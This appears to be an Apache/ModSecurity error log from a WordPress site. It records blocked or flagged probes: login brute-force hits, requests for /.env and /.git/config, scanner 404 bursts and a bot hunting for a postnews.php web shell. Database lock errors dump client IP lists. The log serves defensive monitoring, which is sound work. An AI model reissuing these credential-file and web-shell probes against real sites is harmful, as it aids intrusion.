[Wed Nov 12 18:40:58.818390 2025] [:error] [pid 60405:tid 60417] [client 188.68.47.60:52304] [client 188.68.47.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.68.47.60, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRRkOnMGv_mlVi6mf5r9IAAAAAk"]
[Wed Nov 12 19:29:15.582286 2025] [proxy_fcgi:error] [pid 23737:tid 23772] [client 44.218.6.93:47821] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_doing_cron', '1762946954.8172359466552734375000', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by require('wp-blog-header.php'), require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), do_action('wp_loaded'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_cron, spawn_cron, set_transient, add_optionPHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:2482:{s:15:\\"195.154.200.196\\";a:1:{i:0;i:1723473878;}s:13:\\"81.94.156.169\\";a:1:{i:2;i:1723917182;}s:13:\\"195.154.84.78\\";a:1:{i:0;i:1723489369;}s:14:\\"170.64.225.194\\";a:2:{i:1;i:1723490696;i:2;i:1723490699;}s:13:\\"64.233.173.96\\";a:1:{i:587;i:1757715684;}s:12:\\"40.77.167.45\\";a:1:{i:0;i:1723539245;}s:12:\\"40.77.167.30\\";a:1:{i:2;i:1740101853;}s:14:\\"74.125.208.138\\";a:1:{i:5;i:1739502371;}s:13:\\"146.75.190.39\\";a:2:{i:0;i:1723600199;i:1;i:1723600201;}s:15:\\"176.109.182.170\\";a:1:{i:0;i:1723638839;}s:15:\\"105.154.199.120\\";a:1:{i:0;i:1723673159;}s:15:\\"172.245.210.149\\";a:1:{i:2;i:1723698719;}s:13:\\"68.69.184.202\\";a:1:{i:2;i:1723703245;}s:14:\\"52.167.144.142\\";a:1:{i:1;i:1731148419;}s:14:\\"64.233.173.102\\";a:1:{i:509;i:1757915474;}s:13:\\"45.227.254.34\\";a:1:{i:1;i:1725900797;}s:14:\\"64.233.173.101\\";a:1:{i:581;i:1757760393;}s:14:\\"103.194.184.66\\";a:1...'
[Wed Nov 12 19:48:19.053471 2025] [:error] [pid 60097:tid 60142] [client 46.105.230.99:22416] [client 46.105.230.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.105.230.99, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRR0A8dT5oio_TbWpi-H9AAAAMA"]
[Wed Nov 12 21:00:48.678541 2025] [:error] [pid 23737:tid 23751] [client 178.62.91.14:48272] [client 178.62.91.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.62.91.14, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRSFABQUsVVfOZWgW_XPnwAAAYI"]
[Wed Nov 12 22:01:08.744785 2025] [:error] [pid 60096:tid 60141] [client 20.185.180.62:59976] [client 20.185.180.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.185.180.62, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRSTJDmzkhCvvk8DXOzHZAAAAI4"]
[Wed Nov 12 23:10:16.309294 2025] [:error] [pid 60095:tid 60113] [client 62.210.64.72:48414] [client 62.210.64.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.210.64.72, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRSjWHlw2elroagFF1pgewAAAE4"]
[Thu Nov 13 00:13:08.301222 2025] [:error] [pid 60095:tid 60114] [client 47.101.196.72:55810] [client 47.101.196.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.101.196.72, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRSyFHlw2elroagFF1psogAAAE8"]
[Thu Nov 13 01:20:04.006183 2025] [:error] [pid 23737:tid 23773] [client 103.204.169.198:65257] [client 103.204.169.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.204.169.198, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRTBxBQUsVVfOZWgW_UecwAAAZg"]
[Thu Nov 13 02:18:58.932488 2025] [:error] [pid 60405:tid 60415] [client 161.97.155.119:48318] [client 161.97.155.119] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.97.155.119, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRTPknMGv_mlVi6mf5pajgAAAAc"]
[Thu Nov 13 03:24:00.497726 2025] [:error] [pid 60097:tid 60177] [client 93.166.103.101:48794] [client 93.166.103.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 93.166.103.101, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRTe0MdT5oio_TbWpi_ksgAAANg"]
[Thu Nov 13 04:40:47.137845 2025] [:error] [pid 18960:tid 18974] [client 207.154.196.136:58648] [client 207.154.196.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 207.154.196.136, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRTwz4vOP-uT_KFAcQNkDwAAAQw"]
[Thu Nov 13 05:44:09.371190 2025] [:error] [pid 22223:tid 22263] [client 41.140.225.181:64099] [client 41.140.225.181] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aRT_qd6it_tNBGH9EAEWJwAAAEo"]
[Thu Nov 13 05:45:33.182640 2025] [:error] [pid 22223:tid 22267] [client 94.23.204.139:49784] [client 94.23.204.139] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.23.204.139, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRT__d6it_tNBGH9EAEWdwAAAE4"]
[Thu Nov 13 06:51:35.610437 2025] [:error] [pid 22566:tid 22580] [client 14.224.252.235:60638] [client 14.224.252.235] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 14.224.252.235, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRUPdzfdqWaUbu3e06-q6QAAAQw"]
[Thu Nov 13 07:23:52.440485 2025] [:error] [pid 22307:tid 22321] [client 45.89.242.98:33877] [client 45.89.242.98] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aRUXCKr7fLMQQanZ_9ydegAAAMw"]
[Thu Nov 13 09:21:38.918718 2025] [proxy_fcgi:error] [pid 34451:tid 34462] [client 185.102.115.31:48484] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:2554:{s:15:\\"195.154.200.196\\";a:1:{i:0;i:1723473878;}s:13:\\"81.94.156.169\\";a:1:{i:2;i:1723917182;}s:13:\\"195.154.84.78\\";a:1:{i:0;i:1723489369;}s:14:\\"170.64.225.194\\";a:2:{i:1;i:1723490696;i:2;i:1723490699;}s:13:\\"64.233.173.96\\";a:1:{i:587;i:1757715684;}s:12:\\"40.77.167.45\\";a:1:{i:0;i:1723539245;}s:12:\\"40.77.167.30\\";a:1:{i:2;i:1740101853;}s:14:\\"74.125.208.138\\";a:1:{i:5;i:1739502371;}s:13:\\"146.75.190.39\\";a:2:{i:0;i:1723600199;i:1;i:1723600201;}s:15:\\"176.109.182.170\\";a:1:{i:0;i:1723638839;}s:15:\\"105.154.199.120\\";a:1:{i:0;i:1723673159;}s:15:\\"172.245.210.149\\";a:1:{i:2;i:1723698719;}s:13:\\"68.69.184.202\\";a:1:{i:2;i:1723703245;}s:14:\\"52.167.144.142\\";a:1:{i:1;i:1731148419;}s:14:\\"64.233.173.102\\";a:1:{i:509;i:1757915474;}s:13:\\"45.227.254.34\\";a:1:{i:1;i:1725900797;}s:14:\\"64.233.173.101\\";a:1:{i:581;i:1757760393;}s:14:\\"103.194.184.66\\";a:1...'
[Thu Nov 13 12:16:07.389630 2025] [proxy_fcgi:error] [pid 6086:tid 6102] [client 103.4.122.14:36308] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query insert into wp_wfstatus (ctime, level, type, msg) values ('1763007367.349825', 2, 'error', 'Error finishing writing value for wfsd_engine (MySQLi error: [1206] The total number of locks exceeds the lock table size)') made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfScanEngine->go, wfScanEngine->doScan, wfScanEngine->scan_fileContents_main, wordfenceScanner->scan, wfScanEngine->fork, wfConfig::set_ser, wordfence::status, wfLog->addStatus, wfDB->queryWrite'
[Thu Nov 13 12:26:09.011945 2025] [:error] [pid 62216:tid 62256] [client 180.110.203.108:48062] [client 180.110.203.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aRVd4epyFB9M2aVQhwPQewAAAAk"]
[Thu Nov 13 13:34:16.282063 2025] [:error] [pid 62303:tid 62319] [client 95.216.25.172:59686] [client 95.216.25.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.216.25.172, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRVt2L-hlFTtVrZw8jCLAgAAAIw"]
[Thu Nov 13 14:45:32.760547 2025] [:error] [pid 62217:tid 62278] [client 93.190.228.108:34306] [client 93.190.228.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 93.190.228.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRV-jBjGU3T9wKBmdNcAbgAAAEQ"]
[Thu Nov 13 15:13:39.633642 2025] [:error] [pid 62216:tid 62266] [client 49.51.253.83:40732] [client 49.51.253.83] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aRWFI-pyFB9M2aVQhwMLzgAAABM"]
[Thu Nov 13 15:37:34.036123 2025] [:error] [pid 6086:tid 6089] [client 207.241.235.137:43500] [client 207.241.235.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 207.241.235.137, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aRWKvn9_6CRZzjZnAe0HZQAAAQA"], referer: https://vetstars.com.au/
[Thu Nov 13 15:41:50.117966 2025] [:error] [pid 62217:tid 62289] [client 207.241.235.137:42116] [client 207.241.235.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/services/scroll.scrollDepth"] [unique_id "aRWLvhjGU3T9wKBmdNcUUQAAAE8"], referer: https://vetstars.com.au/services/
[Thu Nov 13 15:41:50.876771 2025] [:error] [pid 6086:tid 6097] [client 207.241.235.137:42192] [client 207.241.235.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/services/scroll.scrollDepth"] [unique_id "aRWLvn9_6CRZzjZnAe0JPwAAAQg"], referer: https://vetstars.com.au/services/
[Thu Nov 13 15:41:51.837629 2025] [:error] [pid 62303:tid 62328] [client 207.241.235.137:42258] [client 207.241.235.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/services/scroll.scrollDepth"] [unique_id "aRWLv7-hlFTtVrZw8jDEGwAAAJU"], referer: https://vetstars.com.au/services/
[Thu Nov 13 15:41:52.727841 2025] [:error] [pid 62303:tid 62314] [client 207.241.235.137:42322] [client 207.241.235.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/services/scroll.scrollDepth"] [unique_id "aRWLwL-hlFTtVrZw8jDEHQAAAIc"], referer: https://vetstars.com.au/services/
[Thu Nov 13 15:53:12.074866 2025] [:error] [pid 62303:tid 62325] [client 74.7.227.63:47714] [client 74.7.227.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.7.227.63, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aRWOaL-hlFTtVrZw8jDIaQAAAJI"]
[Thu Nov 13 15:53:19.612137 2025] [:error] [pid 62217:tid 62294] [client 74.7.229.74:37598] [client 74.7.229.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.7.229.74, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aRWObxjGU3T9wKBmdNcYjwAAAFQ"]
[Thu Nov 13 15:55:00.800690 2025] [:error] [pid 62216:tid 62251] [client 85.128.143.124:47626] [client 85.128.143.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.128.143.124, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRWO1OpyFB9M2aVQhwMYswAAAAQ"]
[Thu Nov 13 15:56:36.526799 2025] [:error] [pid 62303:tid 62320] [client 207.241.235.137:38090] [client 207.241.235.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 207.241.235.137, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aRWPNL-hlFTtVrZw8jDJYwAAAI0"], referer: https://vetstars.com.au/xmlrpc.php?rsd
[Thu Nov 13 15:57:11.800794 2025] [:error] [pid 6086:tid 6112] [client 207.241.235.137:41234] [client 207.241.235.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/skins/wordpress/images/style.svg"] [unique_id "aRWPV39_6CRZzjZnAe0RCAAAARc"], referer: https://vetstars.com.au/wp-includes/js/tinymce/skins/wordpress/wp-content.css?ver=6.8.3
[Thu Nov 13 15:57:12.516528 2025] [:error] [pid 62217:tid 62282] [client 207.241.235.137:41326] [client 207.241.235.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/skins/wordpress/images/style.svg"] [unique_id "aRWPWBjGU3T9wKBmdNcaAAAAAEg"], referer: https://vetstars.com.au/wp-includes/js/tinymce/skins/wordpress/wp-content.css?ver=6.8.3
[Thu Nov 13 15:57:13.208661 2025] [:error] [pid 62217:tid 62289] [client 207.241.235.137:41412] [client 207.241.235.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/skins/wordpress/images/style.svg"] [unique_id "aRWPWRjGU3T9wKBmdNcaAgAAAE8"], referer: https://vetstars.com.au/wp-includes/js/tinymce/skins/wordpress/wp-content.css?ver=6.8.3
[Thu Nov 13 15:57:13.964852 2025] [:error] [pid 62217:tid 62290] [client 207.241.235.137:41480] [client 207.241.235.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/skins/wordpress/images/style.svg"] [unique_id "aRWPWRjGU3T9wKBmdNcaBQAAAFA"], referer: https://vetstars.com.au/wp-includes/js/tinymce/skins/wordpress/wp-content.css?ver=6.8.3
[Thu Nov 13 17:37:06.344007 2025] [:error] [pid 62216:tid 62260] [client 159.89.8.3:46498] [client 159.89.8.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.89.8.3, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRWmwupyFB9M2aVQhwMxGgAAAA0"]
[Thu Nov 13 17:55:55.309495 2025] [:error] [pid 6086:tid 6108] [client 150.241.107.255:60424] [client 150.241.107.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aRWrK39_6CRZzjZnAe0zkgAAARM"]
[Thu Nov 13 17:55:56.400892 2025] [:error] [pid 62217:tid 62297] [client 150.241.107.255:60696] [client 150.241.107.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aRWrLBjGU3T9wKBmdNc3PAAAAFc"]
[Thu Nov 13 18:25:57.428121 2025] [:error] [pid 62217:tid 62293] [client 154.38.173.241:37754] [client 154.38.173.241] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 154.38.173.241, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRWyNRjGU3T9wKBmdNc92AAAAFM"]
[Thu Nov 13 18:59:22.015953 2025] [:error] [pid 44245:tid 44274] [client 119.96.24.54:34534] [client 119.96.24.54] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aRW6Cok7r-HKZdqw-dXdmgAAAVc"]
[Thu Nov 13 19:38:33.425367 2025] [:error] [pid 44354:tid 44362] [client 20.172.215.22:46054] [client 20.172.215.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.172.215.22, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRXDOXqKopQhy3G4s3mTggAAAYM"]
[Thu Nov 13 20:33:44.671881 2025] [:error] [pid 62303:tid 62328] [client 91.193.232.154:27235] [client 91.193.232.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.193.232.154, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aRXQKL-hlFTtVrZw8jAH0QAAAJU"], referer: https://vetstars.com.au/
[Thu Nov 13 20:46:03.621693 2025] [:error] [pid 62215:tid 62219] [client 45.153.34.41:52446] [client 45.153.34.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aRXTC0vClof1c6XaOBXqpwAAAMA"]
[Thu Nov 13 20:57:02.846287 2025] [:error] [pid 6086:tid 6096] [client 34.158.47.54:53762] [client 34.158.47.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.158.47.54, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRXVnn9_6CRZzjZnAe1bVQAAAQc"]
[Thu Nov 13 21:50:26.525662 2025] [:error] [pid 4993:tid 5028] [client 45.153.34.41:36802] [client 45.153.34.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aRXiIsl_cC0Js5xNCU1D1wAAAAI"]
[Thu Nov 13 22:17:23.923416 2025] [:error] [pid 4994:tid 5068] [client 209.151.151.32:40524] [client 209.151.151.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.151.151.32, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aRXocwVaYoYtjfBbabUWwAAAAI8"]
[Thu Nov 13 22:25:27.978456 2025] [:error] [pid 4993:tid 5046] [client 43.157.156.190:42604] [client 43.157.156.190] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aRXqV8l_cC0Js5xNCU1Q6QAAABQ"]
[Thu Nov 13 22:51:43.682857 2025] [:error] [pid 4994:tid 5073] [client 45.138.16.29:60640] [client 45.138.16.29] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/postnews.php"] [unique_id "aRXwfwVaYoYtjfBbabUf1gAAAJQ"]
[Thu Nov 13 22:51:44.210152 2025] [:error] [pid 4993:tid 5031] [client 45.138.16.29:60718] [client 45.138.16.29] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/postnews.php"] [unique_id "aRXwgMl_cC0Js5xNCU1X4wAAAAU"]
[Thu Nov 13 22:51:44.738013 2025] [:error] [pid 4993:tid 5034] [client 45.138.16.29:60800] [client 45.138.16.29] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/postnews.php"] [unique_id "aRXwgMl_cC0Js5xNCU1X8AAAAAg"]
